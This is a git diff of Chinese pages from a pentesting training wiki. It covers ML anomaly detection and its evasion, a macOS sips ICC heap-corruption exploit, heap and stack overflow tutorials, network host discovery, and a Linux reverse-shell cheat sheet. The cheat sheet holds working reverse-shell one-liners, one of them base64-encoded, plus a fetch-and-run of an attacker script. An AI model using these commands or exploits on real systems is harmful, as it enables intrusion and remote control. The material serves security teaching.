我们将使用t-SNE将多特征数据集降至2D。为了说明，我们取之前的4D数据（其中有3个正常流量的自然聚类）并添加一些异常点。然后我们运行t-SNE并（概念上）可视化结果。
```python
# 1 ─────────────────────────────────────────────────────────────────────
# Create synthetic 4-D dataset
@ -430,13 +432,11 @@ plt.legend()
plt.tight_layout()
plt.show()
```
在这里，我们将之前的4D正常数据集与少量极端离群值结合在一起（离群值有一个特征（“持续时间”）设置得非常高等，以模拟一种奇怪的模式）。我们以典型的困惑度30运行t-SNE。输出的data_2d形状为(1505, 2)。我们实际上不会在本文中绘图，但如果我们这样做，我们预计会看到大约三个紧密的簇，分别对应于3个正常簇，而5个离群值则作为远离这些簇的孤立点出现。在交互式工作流程中，我们可以根据它们的标签（正常或哪个簇，与异常）为点上色，以验证这种结构。即使没有标签，分析师也可能会注意到这5个点在2D图上处于空白区域并标记它们。这表明t-SNE可以成为网络安全数据中视觉异常检测和簇检查的强大辅助工具，补充上述自动化算法。
这里我们将之前的4D正常数据集与少量极端离群值结合在一起（离群值有一个特征（“duration”）设置得非常高等，以模拟一种奇怪的模式）。我们以典型的困惑度30运行t-SNE。输出的data_2d形状为(1505, 2)。我们实际上不会在本文中绘图，但如果我们这样做，我们会期望看到大约三个紧密的簇对应于3个正常簇，而5个离群值则作为远离这些簇的孤立点出现。在交互式工作流程中，我们可以根据它们的标签（正常或哪个簇，与异常）为点上色，以验证这种结构。即使没有标签，分析师也可能会注意到这5个点在2D图上处于空白空间，并标记它们。这表明t-SNE可以成为网络安全数据中可视化异常检测和簇检查的强大辅助工具，补充上述自动化算法。
</details>
### HDBSCAN（带噪声的层次密度聚类应用）
### HDBSCAN（带噪声的层次密度基础空间聚类）
**HDBSCAN**是DBSCAN的扩展，消除了选择单个全局`eps`值的需要，并能够通过构建密度连接组件的层次结构并随后进行浓缩来恢复**不同密度**的簇。与普通的DBSCAN相比，它通常
**HDBSCAN**是DBSCAN的扩展，消除了选择单一全局`eps`值的需要，并能够通过构建密度连接组件的层次结构并进行浓缩来恢复**不同密度**的簇。与普通的DBSCAN相比，它通常
* 在某些簇密集而其他簇稀疏时提取更直观的簇，
* 只有一个真实的超参数（`min_cluster_size`）和一个合理的默认值，
@ -478,14 +478,14 @@ print("Suspect beacon count:", len(suspects))
最近的研究表明，**无监督学习者并不免疫于主动攻击者**：
* **针对异常检测器的数据中毒。** Chen *et al.* (IEEE S&P 2024) 证明添加仅 3% 的精心制作的流量可以改变 Isolation Forest 和 ECOD 的决策边界，使得真实攻击看起来正常。作者发布了一个开源 PoC (`udo-poison`)，可以自动合成毒点。
* **后门植入聚类模型。** *BadCME* 技术 (BlackHat EU 2023) 植入一个微小的触发模式；每当该触发出现时，基于 K-Means 的检测器会悄悄地将事件放置在“良性”聚类中。
* **规避 DBSCAN/HDBSCAN。** 2025 年来自 KU Leuven 的学术预印本显示，攻击者可以制作故意落入密度间隙的信标模式，有效地隐藏在 *噪声* 标签中。
* **针对异常检测器的数据中毒。** Chen *et al.* (IEEE S&P 2024) 证明，添加仅 3% 的精心制作的流量可以改变 Isolation Forest 和 ECOD 的决策边界，使真实攻击看起来正常。作者发布了一个开源 PoC (`udo-poison`)，可以自动合成毒点。
* **后门聚类模型。** *BadCME* 技术 (BlackHat EU 2023) 嵌入一个微小的触发模式；每当该触发出现时，基于 K-Means 的检测器会悄悄地将事件放置在“良性”聚类中。
* **规避 DBSCAN/HDBSCAN。** 2025 年来自 KU Leuven 的学术预印本显示，攻击者可以制作信标模式，故意落入密度间隙，有效地隐藏在 *噪声* 标签中。
正在获得关注的缓解措施：
1. **模型清理 / TRIM。** 在每次重新训练之前，丢弃 1-2% 的最高损失点（修剪的最大似然），使得中毒变得极其困难。
2. **共识集成。** 结合多个异构检测器（例如，Isolation Forest + GMM + ECOD），如果 *任何* 模型标记一个点，则发出警报。研究表明，这会将攻击者的成本提高超过 10 倍。
1. **模型清理 / TRIM。** 在每次重新训练的时期之前，丢弃 1-2% 的最高损失点（修剪的最大似然），使得中毒变得极其困难。
2. **共识集成。** 结合几个异构检测器（例如，Isolation Forest + GMM + ECOD），如果 *任何* 模型标记一个点，则发出警报。研究表明，这会将攻击者的成本提高超过 10 倍。
3. **基于距离的聚类防御。** 使用 `k` 个不同的随机种子重新计算聚类，并忽略不断跳跃聚类的点。
---
@ -522,7 +522,7 @@ evaluate_print("Ensemble", y_test, anomaly_scores)
## 参考文献
- [HDBSCAN – 基于层次的密度聚类](https://github.com/scikit-learn-contrib/hdbscan)
- Chen, X. *等* “关于无监督异常检测对数据中毒的脆弱性。” *IEEE安全与隐私研讨会*, 2024.
- Chen, X. *等*。“关于无监督异常检测对数据中毒的脆弱性。” *IEEE安全与隐私研讨会*，2024。

12
src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
View File

@ -4,7 +4,7 @@
## 概述
Apple macOS **可脚本图像处理系统** (`sips`) ICC 配置文件解析器中的一个越界 **零写** 漏洞 (macOS 15.0.1, `sips-307`) 允许攻击者破坏堆元数据并将原语转变为完整的代码执行。该漏洞位于 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签的 `offsetToCLUT` 字段的处理。如果攻击者将 `offsetToCLUT == tagDataSize`，解析器会在堆缓冲区的末尾 **擦除 16 字节**。堆喷射使攻击者能够将分配器结构或稍后将被解引用的 C++ 指针归零，从而产生 **任意写入到执行** 链 (CVE-2024-44236, CVSS 7.8)。
Apple macOS **可脚本图像处理系统** (`sips`) ICC 配置文件解析器中的一个越界 **零写** 漏洞 (macOS 15.0.1, `sips-307`) 允许攻击者破坏堆元数据并将原语转变为完整的代码执行。该漏洞位于 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签的 `offsetToCLUT` 字段的处理。如果攻击者将 `offsetToCLUT == tagDataSize`，解析器会在堆缓冲区的末尾 **擦除 16 字节**。堆喷射使攻击者能够将分配器结构或 C++ 指针归零，这些指针稍后将被解引用，从而产生 **任意写入到执行** 链 (CVE-2024-44236, CVSS 7.8)。
> Apple 在 macOS Sonoma 15.2 / Ventura 14.7.1 中修复了该漏洞 (2024年10月30日)。第二个变种 (CVE-2025-24185) 于 2025年4月1日在 macOS 15.5 和 iOS/iPadOS 18.5 中修复。
@ -23,7 +23,7 @@ buffer[i] = 0; // no bounds check vs allocated size!
* 设置一个最小的 ICC 头 (`acsp`) 并添加一个 `mAB ` (或 `mBA `) 标签。
* 配置标签表，使 **`offsetToCLUT` 等于标签大小** (`tagDataSize`)。
* 将攻击者控制的数据放置在标签之后，以便 16 次零写入覆盖分配器元数据。
* 将攻击者控制的数据放在标签之后，以便 16 次零写入覆盖分配器元数据。
2. **通过任何触及配置文件的 sips 操作触发解析**
@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
```
3. **堆元数据损坏 ➜ 任意写入 ➜ ROP**
在苹果默认的 **`nano_zone`** 分配器中，16 字节槽的元数据位于对齐的 0x1000 块 **之后**。通过将配置文件的标签放置在这样的块的末尾，16 次零写入会破坏 `meta->slot_B`。在随后的 `free` 之后，受污染的指针被排入小型空闲列表，使攻击者 **能够在任意地址分配一个假对象** 并覆盖 sips 使用的 C++ vtable 指针，最终将执行权转移到存储在恶意 ICC 缓冲区中的 ROP 链。
在苹果默认的 **`nano_zone` 分配器** 中，16 字节槽的元数据 **紧接着** 对齐的 0x1000 块。通过将配置文件的标签放在这样的块的末尾，16 次零写入会破坏 `meta->slot_B`。在随后的 `free` 之后，受污染的指针被排入小型空闲列表，允许攻击者 **在任意地址分配一个假对象** 并覆盖 sips 使用的 C++ vtable 指针，最终将执行转向存储在恶意 ICC 缓冲区中的 ROP 链。
### 快速 PoC 生成器 (Python 3)
```python
@ -77,19 +77,19 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
```
## 影响
打开或处理精心制作的 ICC 配置文件会导致在调用用户的上下文中发生远程 **任意代码执行**（预览、QuickLook、Safari 图像渲染、邮件附件等），绕过 Gatekeeper，因为该配置文件可以嵌入在其他无害的图像中（PNG/JPEG/TIFF）。
打开或处理一个精心制作的 ICC 配置文件会导致在调用用户的上下文中发生远程 **任意代码执行**（预览、QuickLook、Safari 图像渲染、邮件附件等），绕过 Gatekeeper，因为该配置文件可以嵌入在其他无害的图像中（PNG/JPEG/TIFF）。
## 检测与缓解
* **打补丁！** 确保主机运行 macOS ≥ 15.2 / 14.7.1（或 iOS/iPadOS ≥ 18.1）。
* 在电子邮件网关和 EDR 解决方案上部署上述 YARA 规则。
* 在对不受信任的文件进行进一步处理之前，使用 `exiftool -icc_profile= -overwrite_original <file>` 删除或清理嵌入的 ICC 配置文件。
* 通过在分析未知内容时在沙箱“透明度与现代化”虚拟机中运行预览/QuickLook 来增强安全性。
* 通过在分析未知内容时在沙箱“透明与现代化”虚拟机中运行预览/QuickLook 来增强安全性。
* 对于 DFIR，查看统一日志中沙箱应用程序最近执行的 `sips --verifyColor` 或 `ColorSync` 库加载。
## 参考
* Trend Micro Zero Day Initiative 通告 ZDI-24-1445 – “Apple macOS ICC 配置文件解析越界写入远程代码执行 (CVE-2024-44236)”
* Trend Micro Zero Day Initiative 通告 ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
* Apple 安全更新 HT213981 “关于 macOS Sonoma 15.2 的安全内容”
https://support.apple.com/en-us/HT213981

12
src/binary-exploitation/libc-heap/heap-overflow.md
View File

@ -13,13 +13,13 @@
### 栈溢出与堆溢出
在栈溢出中，触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的，总是增加在冲突的内存中，在 **程序运行的特定位置，栈内存通常存储类似类型的数据**，并且它具有一些特定的结构，末尾有一些指向每个函数使用的栈部分的指针。
在栈溢出中，触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的，总是增加在碰撞的内存中，在 **程序运行的特定位置，栈内存通常存储类似类型的数据**，并且它具有一些特定的结构，末尾有一些指向每个函数使用的栈部分的指针。
然而，在堆溢出的情况下，使用的内存不是线性的，而是 **分配的块通常位于内存的不同位置**（而不是一个接一个），因为 **bins 和 zones** 按大小分隔分配，并且因为 **先前释放的内存在分配新块之前被使用**。因此，**很难知道将与易受堆溢出影响的对象发生冲突的对象**。因此，当发现堆溢出时，需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以被溢出的对象**。
然而，在堆溢出的情况下，使用的内存不是线性的，而是 **分配的块通常位于内存的不同位置**（而不是一个接一个），因为 **bins 和 zones** 按大小分隔分配，并且因为 **先前释放的内存在分配新块之前被使用**。因此，**很难知道将与易受堆溢出影响的对象发生碰撞的对象**。因此，当发现堆溢出时，需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以被溢出的对象**。
用于此的一种技术是 **Heap Grooming**，例如在 [**这篇文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) 中进行了说明。文章解释了当 iOS 内核中的一个区域没有足够的内存来存储内存块时，它通过一个内核页面进行扩展，并且该页面被分割成预期大小的块，这些块将按顺序使用（直到 iOS 版本 9.2，然后这些块以随机方式使用，以增加这些攻击的利用难度）。
因此，在发生堆溢出的前一篇文章中，为了强制溢出的对象与受害者对象发生冲突，多个 **`kallocs` 被多个线程强制执行，以确保所有空闲块都被填满，并且创建一个新页面**。
因此，在发生堆溢出的前一篇文章中，为了强制溢出的对象与受害者对象发生碰撞，多个 **`kallocs` 被多个线程强制执行，以确保所有空闲块都被填满，并且创建一个新页面**。
为了强制用特定大小的对象填充，**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过精确设置消息的大小，可以准确指定 `kalloc` 分配的大小，当相应的 mach 端口被销毁时，相应的分配将立即释放回 `kfree`。
@ -57,9 +57,9 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
"%s%s%s%s", /* format */
"/", "https://", path, host);
```
`__sprintf_chk` 是 **_FORTIFY_SOURCE** 的一部分。当它接收到一个 **正** 的 `size` 参数时，它会验证结果字符串是否适合目标缓冲区。通过传递 **`-1` (0xFFFFFFFFFFFFFFFF)**，开发人员实际上 **禁用了边界检查**，将强化调用转回经典的不安全 `sprintf`。
`__sprintf_chk` 是 **_FORTIFY_SOURCE** 的一部分。当它接收到一个 **正** 的 `size` 参数时，它会验证结果字符串是否适合目标缓冲区。通过传递 **`-1` (0xFFFFFFFFFFFFFFFF)**，开发者实际上 **禁用了边界检查**，将强化调用转回经典的不安全 `sprintf`。
因此，提供一个过长的 **`Host:`** 头部允许攻击者 **溢出 0x80 字节的块并覆盖后续堆块的元数据**（根据分配器的不同，可能是 tcache / fast-bin / small-bin）。可以通过以下方式重现崩溃：
因此，提供一个过长的 **`Host:`** 头部允许攻击者 **溢出 0x80 字节的块并覆盖下一个堆块的元数据**（根据分配器的不同，可能是 tcache / fast-bin / small-bin）。可以通过以下方式重现崩溃：
```python
import requests, warnings
warnings.filterwarnings('ignore')
@ -74,7 +74,7 @@ verify=False
1. **_FORTIFY_SOURCE 不是灵丹妙药** – 错误使用可能会使保护失效。
2. 始终将**正确的缓冲区大小**传递给`_chk`系列（或者，更好的是，使用`snprintf`）。
## 参考文献
## References
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
{{#include ../../banners/hacktricks-training.md}}

16
src/binary-exploitation/libc-heap/use-after-free/first-fit.md
View File

@ -6,7 +6,7 @@
当你在程序中使用 glibc 释放内存时，会使用不同的“桶”来管理内存块。以下是两种常见场景的简化解释：未排序桶和快速桶。
### 未排序桶
### Unsorted Bins
当你释放一个不是快速块的内存块时，它会进入未排序桶。这个桶就像一个列表，新释放的块会添加到前面（“头”）。当你请求一个新的内存块时，分配器会从未排序桶的后面（“尾”）查看，以找到一个足够大的块。如果未排序桶中的块大于你所需的大小，它会被拆分，前面的部分被返回，剩余的部分留在桶中。
@ -24,7 +24,7 @@ char *c = malloc(250);
```
### Fastbins
Fastbins用于小内存块。与未排序的bins不同，fastbins将新块添加到头部，形成后进先出（LIFO）行为。如果您请求一个小内存块，分配器将从fastbin的头部提取。
Fastbins 用于小内存块。与未排序的 bins 不同，fastbins 将新块添加到头部，形成后进先出 (LIFO) 行为。如果您请求一个小内存块，分配器将从 fastbin 的头部提取。
示例：
```c
@ -55,12 +55,12 @@ d = malloc(20); // a
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
for(int i = 0; i < 7; i++) free(pool[i]);
```
一旦 tcache 耗尽，后续的释放将进入未排序的 bin，并且可以再次触发经典的首次适应行为（尾部搜索，头部插入）。
一旦 tcache 耗尽，后续的释放将进入未排序的桶，并且经典的首次适应行为（尾部搜索，头部插入）可以再次触发。
---
### 🚩 使用首次适应制作重叠块 UAF
下面的片段（在 glibc 2.38 上测试）展示了如何滥用未排序 bin 中的分割器来创建 2 个 **重叠指针** – 这是一个强大的原语，将单个释放转换为写后释放。
下面的片段（在 glibc 2.38 上测试）展示了如何滥用未排序桶中的分割器来创建 2 个 **重叠指针** – 这是一个强大的原语，将单个释放转换为写后释放。
```c
#include <stdio.h>
#include <stdlib.h>
@ -116,14 +116,14 @@ fwrite(C2, 1, 0x10, stdout); // prints Xs
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. 使用后释放：生成一个用户对象，释放它，生成一个获取已释放块并允许写入的对象，**覆盖用户->密码** 的位置。重新使用用户以**绕过密码检查**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- 该程序允许创建笔记。一个笔记将有笔记信息在 malloc(8) 中（带有可以调用的函数指针）和指向另一个 malloc(<size>) 的指针，包含笔记的内容。
- 攻击将是创建 2 个笔记（note0 和 note1），其 malloc 内容大于笔记信息大小，然后释放它们，使其进入快速桶（或 tcache）。
- 该程序允许创建笔记。一个笔记将包含在 malloc(8) 中的笔记信息（带有可以调用的函数指针）和指向另一个 malloc(<size>) 的指针，后者包含笔记的内容。
- 攻击将是创建 2 个笔记（note0 和 note1），其 malloc 内容大于笔记信息大小，然后释放它们以使其进入快速桶（或 tcache）。
- 然后，创建另一个笔记（note2），内容大小为 8。内容将位于 note1 中，因为该块将被重用，我们可以修改函数指针以指向 win 函数，然后使用后释放 note1 来调用新的函数指针。
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- 可以分配一些内存，写入所需值，释放它，重新分配它，由于之前的数据仍然存在，它将根据块中的新预期结构进行处理，从而可以设置值以获取标志。
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- 在这种情况下，需要在特定块中写入 4，该块是第一个被分配的（即使在强制释放所有块之后）。在每个新分配的块中，其在数组索引中的编号被存储。然后，分配 4 个块（+ 初始分配的），最后一个将包含 4，释放它们并强制重新分配第一个块，这将使用最后释放的块，即包含 4 的块。
- 2024 HITCON Quals Setjmp 文章（Quarkslab） – 实用的首次适配/未排序拆分重叠攻击： <https://ctftime.org/writeup/39355>
- 在这种情况下，需要在特定块中写入 4，该块是第一个被分配的（即使在强制释放所有块之后）。在每个新分配的块中，其在数组索引中的编号被存储。然后，分配 4 个块（+ 最初分配的），最后一个将包含 4，释放它们并强制重新分配第一个块，这将使用最后释放的块，即包含 4 的块。
- 2024 HITCON Quals Setjmp 文章（Quarkslab） – 实际的首次适配/未排序拆分重叠攻击： <https://ctftime.org/writeup/39355>
- Angstrom CTF 2024 *heapify* 文章 – 利用未排序桶拆分泄漏 libc 并获得重叠： <https://hackmd.io/@aneii11/H1S2snV40>
{{#include ../../../banners/hacktricks-training.md}}

16
src/binary-exploitation/stack-overflow/README.md
View File

@ -6,7 +6,7 @@
一个 **栈溢出** 是一种漏洞，当程序向栈写入的数据超过其分配的容量时就会发生。这些多余的数据将 **覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，并可能执行恶意代码。这个问题通常是由于使用不安全的函数而引起的，这些函数在输入时不进行边界检查。
这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)** 用于返回到上一个函数，它们是 **存储在栈上的**。因此，攻击者将能够覆盖这些内容并 **控制程序的执行流**。
这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)** 用于返回到上一个函数，它们是 **存储在栈上的**。因此，攻击者将能够覆盖这些并 **控制程序的执行流**。
该漏洞通常是因为一个函数 **在栈中复制的字节数超过了为其分配的数量**，因此能够覆盖栈的其他部分。
@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
```
### 寻找栈溢出偏移量
寻找栈溢出的最常见方法是输入大量的 `A`（例如 `python3 -c 'print("A"*1000)'）并期待出现 `Segmentation Fault`，这表明 **地址 `0x41414141` 被尝试访问**。
寻找栈溢出的最常见方法是输入非常大的 `A`（例如 `python3 -c 'print("A"*1000)'`），并期待出现 `Segmentation Fault`，这表明 **尝试访问了地址 `0x41414141`**。
此外，一旦你发现存在栈溢出漏洞，你需要找到偏移量，直到可以 **覆盖返回地址**，通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列，这是一个 **循环序列，其中每个可能的长度为 _n_ 的子序列恰好出现一次**，作为一个连续的子序列。
此外，一旦发现存在栈溢出漏洞，您需要找到偏移量，直到可以 **覆盖返回地址**，通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列，这是一个 **循环序列，其中每个可能的长度为 _n_ 的子序列恰好出现一次**，作为一个连续的子序列。
这样，就不需要手动计算控制 EIP 所需的偏移量，可以使用这些序列作为填充，然后找到覆盖它的字节的偏移量。
这样，您就不需要手动找出控制 EIP 所需的偏移量，可以使用这些序列作为填充，然后找到覆盖它的字节的偏移量。
可以使用 **pwntools** 来实现这一点：
```python
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
### Ret2win
在这种类型的 CTF 挑战中，二进制文件中有一个**从未被调用的函数**，而且**您需要调用它才能获胜**。对于这些挑战，您只需找到**覆盖返回地址的偏移量**和**找到要调用的函数的地址**（通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
在这种类型的 CTF 挑战中，二进制文件中有一个**函数**，**从未被调用**，而且**您需要调用它才能获胜**。对于这些挑战，您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**（通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
{{#ref}}
ret2win/
@ -65,7 +65,7 @@ ret2win/
### 栈 Shellcode
在这种情况下，攻击者可以将 shellcode 放置在栈中，并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码：
在这种情况下，攻击者可以在栈中放置一个 shellcode，并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码：
{{#ref}}
stack-shellcode/
@ -73,7 +73,7 @@ stack-shellcode/
### ROP & Ret2... 技术
该技术是绕过前一种技术主要保护的基本框架：**不可执行栈 (NX)**。它允许执行其他几种技术（ret2lib、ret2syscall...），通过滥用二进制中的现有指令最终执行任意命令：
该技术是绕过前一种技术主要保护的基本框架：**不可执行栈 (NX)**。它允许执行其他几种技术（ret2lib、ret2syscall...），通过滥用二进制中的现有指令来最终执行任意命令：
{{#ref}}
../rop-return-oriented-programing/
@ -97,7 +97,7 @@ stack-shellcode/
### 现实世界示例：CVE-2025-40596 (SonicWall SMA100)
一个很好的示例说明了为什么**`sscanf`永远不应该被信任来解析不可信输入**，出现在2025年SonicWall的SMA100 SSL-VPN设备中。\
一个很好的示例，说明**`sscanf`永远不应该被信任来解析不可信输入**，出现在2025年SonicWall的SMA100 SSL-VPN设备中。\
位于`/usr/src/EasyAccess/bin/httpd`中的易受攻击例程试图从任何以`/__api__/`开头的URI中提取版本和端点：
```c
char version[3];

16
src/generic-hacking/reverse-shells/linux.md
View File

@ -35,10 +35,10 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
#### Shell 解释
1. **`bash -i`**: 该命令的这一部分启动一个交互式（`-i`）Bash shell。
2. **`>&`**: 该命令的这一部分是一个简写符号，用于**将标准输出**（`stdout`）和**标准错误**（`stderr`）**重定向到同一目标**。
2. **`>&`**: 该命令的这一部分是一个简写符号，用于**将标准输出**（`stdout`）和**标准错误**（`stderr`）**重定向到同一目的地**。
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 这是一个特殊文件，**表示与指定IP地址和端口的TCP连接**。
- 通过**将输出和错误流重定向到此文件**，该命令有效地将交互式shell会话的输出发送到攻击者的机器。
4. **`0>&1`**: 该命令的这一部分**将标准输入（`stdin`）重定向到与标准输出（`stdout`）相同的目标**。
4. **`0>&1`**: 该命令的这一部分**将标准输入（`stdin`）重定向到与标准输出（`stdout`）相同的目的地**。
### 创建文件并执行
```bash
@ -47,11 +47,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## Forward Shell
在处理基于Linux的Web应用程序中的**远程代码执行（RCE）**漏洞时，实现反向shell可能会受到网络防御措施的阻碍，例如iptables规则或复杂的数据包过滤机制。在这种受限环境中，另一种方法是建立一个PTY（伪终端）shell，以更有效地与被攻陷的系统进行交互。
当处理基于 Linux 的 web 应用程序中的 **Remote Code Execution (RCE)** 漏洞时，实现反向 shell 可能会受到网络防御措施的阻碍，例如 iptables 规则或复杂的包过滤机制。在这种受限环境中，另一种方法是建立一个 PTY（伪终端）shell，以更有效地与被攻陷的系统进行交互。
为此推荐的工具是[toboggan](https://github.com/n3rada/toboggan.git)，它简化了与目标环境的交互。
推荐的工具是 [toboggan](https://github.com/n3rada/toboggan.git)，它简化了与目标环境的交互。
要有效使用toboggan，请创建一个针对目标系统RCE上下文量身定制的Python模块。例如，一个名为`nix.py`的模块可以结构如下：
要有效使用 toboggan，请创建一个针对目标系统 RCE 上下文量身定制的 Python 模块。例如，一个名为 `nix.py` 的模块可以结构如下：
```python3
import jwt
import httpx
@ -101,7 +101,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
```
## gsocket
在 [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) 中查看它
在 [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) 中查看
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
@ -239,7 +239,7 @@ curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_6
特性：
- 可选的 `--ssl` 标志用于加密传输（TLS 1.3）
- `-s` 用于在受害者上生成任何二进制文件（例如 `/bin/sh`、`python3`）
- `--up` 自动升级为完全交互式 PTY
- `--up` 自动升级为完全交互的 PTY
## revsh（加密和可用于跳板）
@ -301,7 +301,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
```bash
while true; do nc -l 79; done
```
要发送命令，请写下它，按回车，然后按CTRL+D（停止STDIN）
要发送命令，请写下它，按回车，然后按CTRL+D（以停止STDIN）
**受害者**
```bash

158
src/generic-methodologies-and-resources/pentesting-network/README.md
View File

@ -6,23 +6,23 @@
## 从外部发现主机
这一部分将简要介绍如何从**互联网**中找到**响应的IP**。\
在这种情况下，您有一些**IP范围**（甚至可能有多个**范围**），您只需找出**哪些IP在响应**。
这将是一个**简短的部分**，关于如何从**互联网**找到**响应的IP**。\
在这种情况下，您有一些**IP范围**（甚至可能有多个**范围**），您只需找到**哪些IP在响应**。
### ICMP
这是发现主机是否在线的**最简单**和**最快**的方法。\
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并等待响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并期待响应。您可以使用简单的`ping`或使用`fping`进行**范围**测试。\
您还可以使用**nmap**发送其他类型的ICMP数据包（这将避免对常见ICMP回显请求-响应的过滤）。
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
```
### TCP端口发现
### TCP Port Discovery
很常见的情况是所有类型的ICMP数据包都被过滤。因此，您能做的就是**尝试查找开放端口**来检查主机是否在线。每个主机有**65535个端口**，所以如果您有一个“大的”范围，您**无法**测试每个主机的**每个端口**是否开放，这将花费太多时间。\
因此，您需要的是一个**快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个**使用最频繁的端口**列表：
很常见的是，所有类型的 ICMP 数据包都被过滤。因此，您能做的就是 **尝试查找开放端口** 来检查主机是否在线。每个主机有 **65535 个端口**，所以如果您有一个“大的”范围，您 **无法** 测试每个主机的 **每个端口** 是否开放，这将花费太多时间。\
因此，您需要的是一个 **快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个 **使用最频繁的端口** 列表：
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
@ -43,7 +43,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**，但即使仅此也需要 **>20分钟**。如果需要 **最快的结果**，可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)：`./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**（对于 /24 范围，这只需 1 分钟）：_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**，但即使仅此也需要 **>20分钟**。如果需要 **最快的结果**，可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)： `./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**（对于 /24 范围，这只需 1 分钟）：_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP 端口发现
```bash
@ -52,7 +52,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
```
## Pentesting Wifi
在这里，您可以找到一份关于所有著名Wifi攻击的良好指南：
在这里，您可以找到一份关于所有已知Wifi攻击的良好指南：
{{#ref}}
../pentesting-wifi/
@ -108,7 +108,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
### **Wake On Lan**
